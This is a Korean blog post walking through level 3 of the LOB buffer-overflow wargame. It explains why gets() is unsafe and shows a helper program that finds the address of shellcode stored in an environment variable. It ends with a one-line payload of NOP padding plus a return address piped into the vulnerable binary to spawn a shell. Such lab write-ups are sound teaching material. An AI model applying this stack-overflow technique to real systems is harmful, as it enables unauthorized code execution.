ii4gsp

LOB - Level3 [cobolt -> goblin] 본문

시스템 해킹/LOB

LOB - Level3 [cobolt -> goblin]

ii4gsp 2020. 1. 13. 23:06

소스코드를 보면 이전 레벨과 달라진 점이라면 strcpy() 함수가 gets() 함수로 바꼇다.

gets() 함수는 입력받는 크기를 제한하지 않아 취약점이 발생한다.

 

 

 

 

파일을 복사하고 gdb로 파일을 열고 분석을해보면 스택구조는

buffer

________

sfp

________

ret

버퍼가 16byte이기 때문에 쉘코드를 환경변수에 등록해주면 된다.

 

 

 

 

#include <stdio.h>

int main()
{
	printf("%p\n", getenv("shellcode"));
    return 0;
}

쉘코드의 주소를 출력해줄 소스코드를 작성해주고

 

 

 

 

쉘코드를 환경변수에 등록해주고 위의 코드를 실행해주면 쉘코드의 주소가 나온다.

쉘코드의 주소를 알았으니 페이로드는 buffer[16byte] + sfp[4byte] + 쉘주소

파이프를 사용하여 입력을 전달해주면 된다.

 

 

 

 

payload

(python -c 'print "\x90" * 20 + "\xff\xfe\xff\xbf"';cat) | ./goblin

'시스템 해킹 > LOB' 카테고리의 다른 글

LOB - Level6 [wolfman -> darkelf]  (0) 2020.01.14
LOB - Level5 [orc -> wolfman]  (0) 2020.01.14
LOB - Level4 [goblin -> orc]  (0) 2020.01.14
LOB - Level2 [gremlin -> cobolt]  (0) 2020.01.13
LOB - Level1 [gate -> gremlin]  (0) 2020.01.13
Comments